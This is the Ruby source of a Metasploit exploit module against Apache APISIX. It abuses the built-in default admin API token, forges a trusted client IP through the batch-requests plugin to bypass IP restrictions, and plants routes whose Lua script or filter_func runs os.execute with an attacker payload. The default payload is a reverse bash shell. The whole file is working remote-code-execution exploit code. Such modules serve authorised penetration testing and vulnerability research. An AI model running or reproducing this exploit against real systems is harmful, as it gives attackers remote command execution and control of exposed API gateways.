## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'APISIX Admin API default access token RCE', 'Description' => %q{ Apache APISIX has a default, built-in API token edd1c9f034335f136f87ad84b625c8f1 that can be used to access all of the admin API, which leads to remote LUA code execution through the script parameter added in the 2.x version. This module also leverages another vulnerability to bypass the IP restriction plugin. }, 'Author' => [ 'Heyder Andrade ', # module development and debugging 'YuanSheng Wang ' # discovered ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2020-13945'], ['CVE', '2022-24112'], ['URL', 'https://github.com/apache/apisix/pull/2244'], ['URL', 'https://seclists.org/oss-sec/2020/q4/187'], ['URL', 'https://www.openwall.com/lists/oss-security/2022/02/11/3'] ], 'DisclosureDate' => '2020-12-07', 'Arch' => ARCH_CMD, 'Platform' => %w[unix], 'Targets' => [ [ 'Automatic', { 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ] ], 'Privileged' => false, 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Path to the APISIX DocumentRoot', '/apisix']), OptString.new('API_KEY', [true, 'Admin API KEY (Default: edd1c9f034335f136f87ad84b625c8f1)', 'edd1c9f034335f136f87ad84b625c8f1']), OptString.new('ALLOWED_IP', [true, 'IP in the allowed list', '127.0.0.1']) ]) end def check print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}") # batch request is the preferred method because it bypass the ip-restriction plugin res = nil if batch_request_enabled? pipeline = [ { method: 'GET', path: "#{target_uri.path}/admin/routes" } ] res = batch_request(batch_body(pipeline)) vprint_good('Can perform authenticated requests through batch requests') if res && res.code == 200 pipeline = [ { method: 'GET', path: "#{target_uri.path}/admin/routes/index" } ] res = batch_request(batch_body(pipeline)) else vprint_error('The batch-requests plugin is not enabled') vprint_good('There is direct access to the routes using the provided token') if direct_access? res = apisix_request({ 'uri' => normalize_uri(target_uri.path, Rex::Text.rand_text_alpha_lower(6)), 'method' => 'GET' }) end unless res && res.headers.key?('Server') return Exploit::CheckCode::Unknown('Unable to determine which web server is running') end res.headers['Server'].match(%r{(.*)/([\d|.]+)$}) server = Regexp.last_match(1) || nil version = Rex::Version.new(Regexp.last_match(2)) || nil if server && server.match(/APISIX/) vprint_status("Found an #{server} #{version} http server header") return Exploit::CheckCode::Appears if version > Rex::Version.new('2') end return Exploit::CheckCode::Safe('A vulnerable version if APISIX server is not running') end def exploit # batch request is the preferred method because it bypass the ip-restriction plugin if batch_request_enabled? @payload_uri = "/#{Rex::Text.rand_text_alpha_lower(3)}/#{Rex::Text.rand_text_alpha_lower(6)}" filter_func_exec # trigger the payload apisix_request({ 'uri' => normalize_uri(@payload_uri), 'method' => 'GET' }) else add_route end handler end def cleanup return unless @payload_uri data = { 'uri' => @payload_uri } pipeline = [ { 'path' => normalize_uri(target_uri.path, '/admin/routes/index'), 'method' => 'DELETE', 'body' => JSON.dump(data) } ] vprint_status("Deleting route #{@payload_uri}") # remove the route res = batch_request(batch_body(pipeline)) vprint_error('Unable to delete the route') unless res.code == 200 end def apisix_request(params = {}) params.merge!({ 'ctype' => 'application/json', 'headers' => { 'X-API-KEY' => datastore['API_KEY'], 'Accept' => '*/*', 'Accept-Encoding' => 'gzip, deflate' } }) send_request_cgi(params) end # Using batch request to bypass ip-restriction policies (CVE-2022-24112) def batch_request(data = nil) params = { 'uri' => normalize_uri(target_uri.path, '/batch-requests'), 'method' => 'POST' } params.merge!({ 'data' => data }) if data apisix_request(params) end def batch_body(pipeline = []) headers = { 'X-Real-IP': datastore['ALLOWED_IP'].to_s, 'X-API-KEY' => datastore['API_KEY'].to_s, 'Content-Type' => 'application/json' } { 'headers' => headers, 'timeout' => 1500, 'pipeline' => pipeline }.to_json end def base_data { 'uri' => Rex::Text.rand_text_alpha_lower(6), 'upstream' => { 'type' => 'roundrobin', 'nodes' => { Faker::Internet.domain_name.to_s => 1 } } } end def add_route # This method use the script parameter to execute the payload stub = "os.execute('PAYLOAD');".gsub('PAYLOAD', payload.raw.to_s.gsub('\'') { '\\\"' }) # binding.pry data = base_data.merge({ 'script' => stub }) uri = normalize_uri(target_uri.path, '/admin/routes') if batch_request_enabled? pipeline = [ { 'method' => 'POST', 'path' => uri, 'body' => data } ] batch_request(batch_body(pipeline)) else params = { 'method' => 'POST', 'uri' => uri, 'data' => JSON.dump(data) } apisix_request(params) end end def filter_func_exec # This method use the filter_func parameter to execute the payload stub = "function(vars) os.execute('PAYLOAD'); return true end".gsub('PAYLOAD', payload.raw.to_s.gsub('\'') { '\\\"' }) data = base_data.merge({ 'uri' => @payload_uri, 'name' => Rex::Text.rand_text_alpha_lower(6), 'filter_func' => stub }) if batch_request_enabled? pipeline = [ { 'path' => normalize_uri(target_uri.path, '/admin/routes/index'), 'method' => 'PUT', 'body' => JSON.dump(data) } ] # add the route res = batch_request(batch_body(pipeline)) vprint_error('Unable to create route') unless res.code == 200 else params = { 'method' => 'PUT', 'uri' => normalize_uri(target_uri.path, '/admin/routes/index'), 'data' => JSON.dump(data) } apisix_request(params) end end def direct_access? res = apisix_request({ 'uri' => normalize_uri(target_uri.path, '/admin/routes'), 'method' => 'GET' }) return false if [401, 403].include?(res.code) || res.body.match?(/'ip-restriction'/) true end def batch_request_enabled? res = apisix_request({ 'uri' => normalize_uri(target_uri.path, '/batch-requests'), 'method' => 'POST' }) return false if res.code == 404 true end end